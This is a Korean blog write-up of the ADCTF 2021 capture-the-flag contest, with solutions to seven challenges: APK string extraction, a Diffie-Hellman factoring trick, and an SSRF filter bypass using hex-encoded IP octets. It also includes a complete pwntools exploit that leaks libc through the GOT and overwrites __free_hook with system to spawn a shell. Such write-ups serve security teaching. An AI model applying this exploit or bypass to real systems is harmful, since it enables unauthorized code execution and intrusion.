아침 10시 ~ 오후 5시 20분까지 대회가 진행되었다.
나는 위 문제들을 풀었고, 몇개는 플래그를 찾았지만 글자 몇개씩 틀려서 친구가 인증해주었다.
1.MIC CHECK
ADCTF{Welcome to ADCTF}
2. Question
apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.
ADCTF{To_di∃_to_sl€€p_No_mΩre}
3. ELEVATOR
apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.
ADCTF{ⓣh!$_i$_2l47483647F_w3Lc㉧мE}
4. TRUE
apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.
ADCTF{¡Thi$_i$_True!¡Tⓔsténe@m€nte!}
5. pwn5
라이브러리 파일과 문제 바이너리 파일 2개를 준다.
ghidra를 이용해 분석을 시작한다.
main 함수는 위 사진과 같다.
2번 입력받고 2번 실행하는 구조이다.
run 함수를 보면 vm 문제라는 것을 짐작할 수 있다.
우선 opcode가 1이면 rsp가 가리키는 곳을 write하고, 2면 read한다.
그리고 위에 0xc9면 rsp에 어떤 연산을 한 후에 값을 넣는다.
이 rsp값을 컨트롤 할 수 있으면 leak, got overwrite 등 공격 할 수 있다.
하지만 Full Relro이므로 got overwrite 대신 다른 방법을 찾아야하는데, 이는 free hook을 바꾸면 된다.
main함수에서 종료하기전에 free(buf)을 해주므로, buf 의 첫부분을 /bin/sh\x00 으로 해주고 free_hook을 system으로 바꿔주면 익스가 될 것이라고 생각했다.
rsp = puts got
write(1,rsp,8)
----
/bin/sh
rsp = free_hook
read(0,rsp,8) - &system
대략적인 흐름이다.
그리고 0xc9 opcode에서 연산을 하는데, 곱해지는 숫자가 무엇인지 따로 돌려보니 1, 256, 65536, .. 처럼 256의 제곱수가 나왔다. 이 값들과 0xc9 다음의 숫자들과 곱한 것들의 합이니, 그냥 헥스값을 역순으로 넣어주면 된다.
처음에 rsp에 puts의 got를 넣어야하는데, puts의 got는 0x403fc0이다.
그러면 "\xc9\xc0\x3f\x40\x00\x00\x00\x00\x00" 를 실행하면 rsp에 puts의 got가 담기게 된다.
그 후 opcode 1을 이용해서 puts got 를 write 한다.
binary1 = "\xc9\xc0\x3f\x40\x00\x00\x00\x00\x00\x01\x08"
binary2는 leak 된 puts를 바탕으로 libc base와 free hook을 얻는다.
rsp를 free_hook으로 설정하고,
read를 이용해 system으로 덮어씌운다.
총 익스 코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
e = ELF('./prob')
libc = ELF('./libc-2.31.so')
binary1 = '\xc9' + p64(e.got['puts']) + '\x01\x08'
p = remote('112.175.232.146', 20401)
p.sendlineafter('!\n',binary1);
leak = u64(p.recv(8))
base = leak - libc.symbols['puts']
log.info('%x'%base)
freehook = base + libc.symbols['__free_hook']
binary2 = '/bin/sh\x00\xc9' + p64(freehook) + '\x02\x08'
p.sendlineafter('!\n',binary2);
p.send(p64(base + libc.symbols['system']))
p.interactive()
ADCTF{34sy_VM_Pr0b!~.~!}
6. Easy peasy Diffie!
A = 5408787216934625390206205775 와 p=5666348512979131361168406050 을 소인수분해한다.
A = 3 * 7 * 5^2 · 13^4 · 23^5 · 29^2 · 31^2 · 37^5
p = 2 * 11 * 5^2 · 13^4 · 23^5 · 29^2 · 31^2 · 37^5
5^2 부터 끝까지를 k로 둔다면,
A = 21k, p = 22k가 된다.
g^a mod 22k = 21k = -k
(g^a)^b mod 22k = (-k)^b
g^ab mod 22k = (-k)^b
secret key는 g^ab 이다.
숫자가 반복이 되는 것ㅇ을 볼 수 있다.
하나씩 플래그에 인증해보면, 3348296848578577622508603575 가 정답이다.
ADCTF{3348296848578577622508603575}
7. Simple SSRF
#!/usr/bin/env python
from flask import Flask, render_template, request, redirect, url_for, abort
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse
from socket import inet_aton
import requests, asyncio, base64
app = Flask(__name__)
app.jinja_env.lstrip_blocks = True
app.jinja_env.trim_blocks = True
async def filtering(hostname, port, filename):
try:
if len(hostname.split('.')) != 4: 0/0
if '112.' in hostname or '.175.' in hostname or '.232.' in hostname or '.146' in hostname: 0/0
if inet_aton(hostname) != b'\x70\xAF\xE8\x92': 0/0
if filename != 'ZmxhZw==': 0/0
if not port: port = 20102
result = []
with ThreadPoolExecutor(max_workers=3) as executor:
loop = asyncio.get_event_loop()
tasks = [
loop.run_in_executor(
executor,
lambda u: requests.post(u, headers=headers, timeout=2),
url
) for url in [f'http://{hostname}:{port}/{filename}', 'http://112.175.232.146:20102/ZmxhZw==']
]
for res in await asyncio.gather(*tasks):
result.append(res.text)
except:
return False
return result[1] if result[0] == result[1] else False
@app.route('/wellcome/<username>')
def wellcome(username):
return "Wellcome %s!" %username
@app.route('/adctf2')
def adctf2():
return render_template('adctf2.html')
@app.route('/adctf2Result', methods=['POST'])
def request_page():
if request.method == 'POST':
if 'url' in request.form and request.form['url']:
url = request.form['url']
if url[:7] != 'http://':
url = 'http://' + url
host_info = urlparse(url)._hostinfo
path = urlparse(url).path
filename = path.replace('/', '')
filename = base64.b64encode(filename.encode('utf-8'))
filename = filename.decode('utf-8') # binary to string
asyncio.set_event_loop(asyncio.new_event_loop())
loop = asyncio.get_event_loop()
FLAG = loop.run_until_complete(asyncio.ensure_future(filtering(*host_info, filename)))
if FLAG:
return render_template('result.html', flag=FLAG)
else:
return redirect(url_for('adctf2'))
return render_template('result.html')
else:
return redirect(url_for('adctf2'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=20102, debug=False)
http://112.175.232.146:20102/ZmxhZw== 를 요청하면 result가 같아 FLAG를 볼 수 있다.
근데 112. 175. 232 .146을 필터링하기 때문에 이를 16진수로 바꿔 우회하면 된다.
http://0x70.0xaf.0xe8.0x92:20102/flag
ADCTF{_Wellc0me_2021ADCTF!!_}
'CTF Writeup' 카테고리의 다른 글
DAM CTF 2021 - Sneaky Script (0) | 2021.11.11 |
---|---|
2021 Incognito CTF Writeup (0) | 2021.08.28 |
Tenable CTF - CODE (0) | 2021.02.24 |
DarkCON CTF - PWN Writeup (2) | 2021.02.21 |
2020 Layer7 CTF Writeup - MISC (0) | 2020.11.19 |